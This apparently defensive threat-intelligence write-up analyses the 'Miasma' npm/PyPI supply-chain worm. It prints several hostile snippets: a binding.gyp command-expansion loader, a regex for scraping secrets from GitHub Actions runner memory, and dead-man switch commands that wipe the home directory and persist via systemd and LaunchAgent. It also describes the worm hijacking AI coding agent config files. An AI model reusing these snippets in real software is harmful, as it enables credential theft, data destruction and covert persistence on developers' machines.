The Lineage: Three Waves, Nine Months

Miasma did not appear from nowhere. It is the third documented iteration of a self-propagating developer-targeting worm family, named after the sandworm of Frank Herbert's Dune.

How It Got In: The OIDC Trusted Publishing Flaw

The Red Hat @redhat-cloud-services namespace was the primary entry point. Attackers exploited a critical design gap in npm's trusted publishing system.

npm's trust model binds to "repository plus workflow filename" — not to a branch, a ref, or a protected environment. An attacker with write access to any branch can create a throwaway branch, rewrite a CI workflow to exchange a GitHub Actions OIDC token for an npm publish token, and ship a malicious package version with valid Sigstore provenance attestations.

Attack Entry Flow

The Payload: The binding.gyp Execution Bypass

Wave 3's core innovation — dubbed "Phantom Gyp" by the security community — moved execution from preinstall lifecycle hooks to a binding.gyp file that node-gyp processes automatically during native builds.

{
"targets": [{
"target_name": "Setup",
"type": "none",
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
}]
}

The <!(...) syntax is GYP's command expansion. When npm encounters any package containing binding.gyp, it automatically invokes node-gyp rebuild — without any declared lifecycle scripts in package.json. The command fires during the configure phase, before any compilation. Output is silently redirected to /dev/null.

Four-Stage Loader

The Credential Harvest

Once executing, the payload conducts a systematic sweep of the developer environment across four target layers.

GitHub Actions Runner Memory Scraping

GitHub Actions masks secrets in logs. It cannot protect them from a process reading the runner's memory. The payload reads the Runner.Worker process directly from /proc:

tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}'

AI Coding Agent Config Injection: The New Persistence Frontier

This is what distinguishes Miasma from every prior supply chain attack. The worm specifically targets the configuration files that AI coding assistants read on startup — persistence hooks that survive npm uninstall and a full node_modules wipe.

The worm enumerates all repositories accessible via stolen tokens, reads workflow files via GitHub's GraphQL API, then injects these config files via createCommitOnBranch. 13 AI coding tools are targeted in total — including Copilot, Kiro, and Cline. Analysis confirmed 123+ repositories carrying injected hooks — a floor figure constrained by GitHub code search limits.

GitHub as C2: No Servers Required

Miasma requires zero dedicated command-and-control infrastructure. Three hardcoded commit search strings act as independent C2 channels against GitHub's own public API.

Stolen credentials are RSA-4096 + AES-256-GCM encrypted and uploaded as results/results-{timestamp}.json to rotating attacker-controlled public repositories — liuende501 (236+ repos), windy629, and HerGomUli.

The Dead-Man Switch

Every machine that executed the payload has a token monitoring service running in the background. This is the most operationally dangerous feature of Miasma — it changes incident response order entirely.

The service polls GET https://api.github.com/user every 60 seconds using the stolen GitHub token. If the response is any 4xx status — token revoked — it immediately executes:

# Fires within 60 seconds of 4xx response from api.github.com/user
rm -rf ~/; rm -rf ~/Documents
# Persists as systemd user service (Linux)
systemctl --user enable gh-token-monitor.service
# Persists as LaunchAgent (macOS)
launchctl load ~/Library/LaunchAgents/com.gh.token-monitor.plist
# TTL: runs for up to 72 hours even if token remains valid
# Honeytoken marker: IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner

Three-Branch Worm Propagation

Once credentials are harvested, the worm immediately reuses them across three parallel propagation paths. A documented 49-second sweep across 5 repositories demonstrates how fully automated the replay is.

The Hades PyPI Wave: Infection at Interpreter Startup

Concurrent with the npm wave, the same campaign deployed a PyPI variant using a persistence mechanism that predates Python package execution entirely.

37 malicious wheels across 19 packages embedded a *-setup.pth file. Python's site module processes .pth files during interpreter startup — any line beginning with import followed by a space is executed automatically whenever Python starts, without any explicit package import required.

The durabletask Precursor: A Three-Week Preview

Three weeks before the Red Hat npm wave, the same operator hit PyPI with the durabletask Python package (versions 1.4.1–1.4.3). C2 domains were pre-registered May 16 — three days before the attack. This level of operational preparation confirms the campaign was deliberate and staged, not opportunistic.

The stage-2 rope.pyz payload featured a triple-redundant exfiltration chain: primary C2 at check[.]git-service[.]com (AES-256-GCM + RSA-4096), a GitHub dead-drop fallback (searches for FIRESCALE keyword, RSA-verifies URLs), and a last-resort path that creates public repos with random Slavic folklore names (e.g. BABA-YAGA-KOSCHEI-742) and uploads results.json.

The variant also included geotargeted destruction: on Israeli or Iranian locale systems, a 1-in-6 probability triggered audio playback at max volume followed by rm -rf /*. The remaining 5-in-6 deployed persistent backdoor access instead.

The Source Code Leak: What It Means

The June 10, 2026 leak of Miasma's complete source code is not just a news event — it is a force multiplier for future campaigns. The toolkit contains credential harvesting modules, the binding.gyp injector, the AI config backdoor generator, the dead-man switch installer, and the three-channel GitHub C2 framework. A five-stage build pipeline generates a unique payload per target, making each sample different enough to defeat signature-based detection.

"We didn't see attackers weaponize it" when similar source code was previously disclosed. — Principal Threat Researcher, major cloud security firm

McCarthy's measured counterpoint: sophisticated actors rarely adopt open-sourced malware directly. The real risk is less sophisticated operators running the toolkit as-is — accelerating frequency without needing expertise. Attribution becomes nearly impossible once the code is public. This is the second time this family's source has leaked. The first led to more advanced variants and higher attack rates. History is positioned to repeat.

The Complete Attack Chain

What Miasma Defeats — Security Controls Table

Detection

Hunting the Phantom Gyp Vector

# Find packages with GYP command expansion
grep -rl '<!(' node_modules/*/binding.gyp node_modules/**/binding.gyp 2>/dev/null
# Suspiciously large entry points (legitimate ones rarely exceed 1 MB)
find node_modules -maxdepth 2 -name index.js -size +1M 2>/dev/null
# Check for injected AI config hooks in the current repository
ls -la .claude/settings.json .gemini/settings.json \
.cursor/rules/setup.mdc .vscode/tasks.json 2>/dev/null
# Check git log for unexpected changes to config files
git log --oneline -- .claude/ .cursor/ .gemini/ .vscode/ .github/

Behavioural and Network Indicators

Remediation — Order Matters

Indicators of Compromise